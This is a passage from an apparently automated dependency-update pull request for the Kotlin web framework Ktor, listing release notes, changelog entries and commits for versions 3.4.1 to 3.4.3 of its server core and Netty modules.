instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.0...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.4.0 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not 